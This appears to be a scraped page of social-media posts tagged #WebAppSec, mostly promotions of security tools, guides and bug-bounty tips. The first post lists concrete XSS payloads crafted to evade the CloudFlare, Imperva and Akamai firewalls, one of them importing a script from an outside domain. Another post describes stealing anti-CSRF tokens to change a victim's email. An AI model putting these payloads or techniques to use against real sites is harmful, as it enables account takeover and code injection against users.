Explore tweets tagged as #WebAppSec
#XSS #WAF #Bypass . ➡️ CloudFlare.<Img Src=OnXSS OnError=(alert)(1)>. ➡️ Imperva.<Image Src=//X55.is OnLoad%0C=import(Src)//. ➡️ Akamai.<A Href AutoFocus %252F="/"OnFocus=k='t',top['aler'%2Bk](1)>. Sign up for free Blind XSS!.- built for pros. #WebAppSec
3
51
292
Here's my research about Python dirty Arbitrary File Write to RCE via overwriting shared object files or overwriting bytecode files. Enjoy!. #Research #WebAppSec.
0
54
177
Improve Your #XSS Reports!. ✅ Turn your PoC into a remote script call to load a proper attack code with import(). ✅ Build a CSRF attack by stealing the anti-CSRF token and then changing some user info like their email address. #WebAppSec #BugHunting #Pentesting
0
1
12
By investing in paid tools you also end up funding more research and discoveries for the field. KNOXSS is created, developed and maintained by.@BRuteLogic. #XSS #WebAppSec #BugBounty #PenTesting
1
0
3
Don't miss any of our #XSS tips and tricks, bypasses, memes, promos and coupons. 🤓. Hit the 🔔 in our profile page like below!. #WebAppSec #BugBounty #PenTesting
0
1
9
The suggestion of the day; "IDOR: A complete guide to exploiting advanced IDOR vulnerabilities"❗️👩🏻💻. Credit: @intigriti 🌟🙌🏻. Link: #CyberSecurity #infosec #Pentesting #appsec #webappsec #IDOR #vulnerability #exploiting
0
21
81
Run away from outdated #XSS resources out there. The "src" attribute of "img" doesn't need content to pop with "onerror" but you can use a smart one for a staged payload. Calling a remote script is the best way to report a #XSS vulnerability. #WebAppSec #BugBounty #PenTesting
0
1
15
This classic script vector they use to teach you about XSS doesn't work for DOM-based Reflected vulnerabilities!. You can check that in our modern XSS lab. Stay with the best or miss like the rest. #WebAppSec #BugBounty #PenTesting
0
7
21
Stay one step ahead of attackers by discovering essential best practices to secure your web applications and protect sensitive data. #CyberSecurity #WebAppSec #OWASP #cybersecurityawareness
0
3
6
🛡️ Building secure apps starts with the right toolkit!.Here are the Top 7 Web App Security Tools you must know in 2025. Open-source, free & pro-grade picks inside 👇.#CyberSecurity #WebAppSec #OWASP #HackingTools
1
0
3
In summary; "HTTP Status Codes"❗️👩🏻💻. Credit: @bytebytego 🌟🙌🏻. #cybersecurity #infosec #applicationsecurity #appsec #statuscodes #client #server #network #resourcesharing #webappsec #learningeveryday
1
1
3
In summary; "How does HTTPS work?". Credit: @bytebytego 🌟🤍. #cybersecurity #infosec #appsec #applicationsecurity #webappsec #pentest #pentesting #pentester #hacking #ethicalhacking #resourcesharing #howdoes #learningeveryday
0
1
3
We've recently made some requested changes to the naming and implementation of scan rules which used Time Based attacks. @kingthorin_rm has written about it here: #AppSec #WebAppSec #DAST #DevSecOps.
0
6
13